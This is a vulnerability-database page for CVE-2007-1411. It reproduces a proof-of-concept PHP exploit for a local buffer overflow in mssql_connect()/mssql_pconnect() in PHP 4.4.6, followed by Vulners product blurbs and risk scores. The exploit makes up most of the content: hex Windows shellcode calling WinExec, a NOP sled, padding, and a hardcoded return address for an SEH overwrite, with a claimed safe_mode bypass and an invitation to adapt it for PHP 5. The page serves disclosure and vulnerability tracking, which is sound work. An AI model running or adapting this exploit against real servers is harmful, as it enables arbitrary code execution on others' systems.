PHP 4.4.6 - 'mssql_[p]connect()' Local Buffer Overflow
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2007-1411 | 10 Mar 200722:00 | – | cve | |
| CVE-2007-1411 | 10 Mar 200722:00 | – | cvelist | |
| CVE-2007-1411 | 10 Mar 200722:19 | – | nvd | |
| Buffer overflow | 10 Mar 200722:19 | – | prion | |
| Buffer overflow | 18 Apr 200703:19 | – | prion | |
| CVE-2007-1411 | 30 Oct 201509:36 | – | redhatcve | |
| PHP mssql_connect() / mssql_pconnect() functions buffer overflow | 6 Mar 200700:00 | – | securityvulns | |
| SUSE CVE-2007-1411 | 15 Feb 202306:12 | – | susecve | |
| CVE-2007-1411 | 10 Mar 200722:19 | – | ubuntucve |
<?php
// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
// poc exploit (and safe_mode bypass)
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org
// u can easily adjust for php5
// this as my little contribute to MOPB
$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";
$eip="\xdc\xf5\x12";
$____suntzu=str_repeat("\x90",100);
$____suntzu.=$____scode;
$____suntzu.=str_repeat("a",2460 - strlen($____scode));
$____suntzu.=$eip;
mssql_pconnect($____suntzu);
?>
# milw0rm.com [2007-03-05]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.07422